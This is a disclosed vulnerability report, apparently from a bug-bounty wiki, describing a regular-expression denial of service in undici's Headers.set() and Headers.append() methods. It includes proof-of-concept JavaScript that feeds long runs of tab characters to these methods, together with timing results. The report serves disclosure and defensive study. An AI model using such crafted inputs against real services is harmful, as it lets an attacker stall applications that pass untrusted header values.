Regular Expression Denial of Service in Headers
The Headers.set() and Headers.append() methods in undici use an inefficient regular expression to normalise header values, causing a denial of service when untrusted input is passed. An attacker can supply a crafted header value that makes the methods take several seconds to complete.
- Triaged in 3 days
- Fixed in 3 months
- Disclosed after 4 months
Summary: ReDoS vulnerabilities in Headers class.
Description: The Headers.set() and Headers.append() methods are vulnerable to Regular Expression Denial of Service (ReDoS) attacks when untrusted values are passed into the functions. This is due to the inefficient regular expression used to normalize the values in the headerValueNormalize() utility function.
Steps To Reproduce:
- Install undici (npm install [email protected])
- Run the following program:
const { Headers } = require("undici");
const headers = new Headers();
const attack = "a" + "\t".repeat(50_000) + "\ta";
const start = performance.now();
headers.append("foo", attack);
console.log(`${performance.now() - start}ms`);
Impact: The code takes almost 3 seconds to run because of the inefficient regular expression used in Headers.append()
Supporting Material/References:
- Cause of vulnerability: https://github.com/nodejs/undici/blob/main/lib/fetch/headers.js#L18-L30
- Both the
Headers.set()andHeaders.append()functions are affected.
const { Headers } = require("undici");
console.log("Headers.set()");
for (let i = 0; i <= 5; i++) {
const headers = new Headers();
const attack = "a" + "\t".repeat(i * 10_000) + "\ta";
const start = performance.now();
headers.set("foo", attack);
console.log(`${attack.length}: ${performance.now() - start}ms`);
}
console.log("\nHeaders.append()");
for (let i = 0; i <= 5; i++) {
const headers = new Headers();
const attack = "a" + "\t".repeat(i * 10_000) + "\ta";
const start = performance.now();
headers.append("foo", attack);
console.log(`${attack.length}: ${performance.now() - start}ms`);
}
Headers.set()
3: 0.4767999998293817ms
10003: 108.30930000031367ms
20003: 417.9063999997452ms
30003: 949.7406999999657ms
40003: 1662.9593000002205ms
50003: 2645.8285000002943ms
Headers.append()
3: 0.27730000019073486ms
10003: 111.98060000035912ms
20003: 430.24649999989197ms
30003: 996.5332000004128ms
40003: 1706.5194999999367ms
50003: 2932.2003999999724ms
Impact
An attacker can immobilize an unsuspecting user of this package for a few seconds if untrusted input is passed into the unsafe Headers methods.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the regular expression in headerValueNormalize() has catastrophic backtracking, causing excessive time on certain inputs.
Impact
An attacker can immobilize an unsuspecting user of this package for a few seconds if untrusted input is passed into the unsafe Headers methods.
What the attacker needed
Untrusted input passed to Headers methods
How it was found
- Install undici version 5.13
- Create a Headers object
- Call append() with a header value containing many tab characters
- Measure the time taken
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression is a pattern used to match text. Some patterns can be very slow when given certain inputs, causing the program to freeze. Here, the code that cleans up header values uses such a slow pattern, so a malicious header value can make the program hang for seconds.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.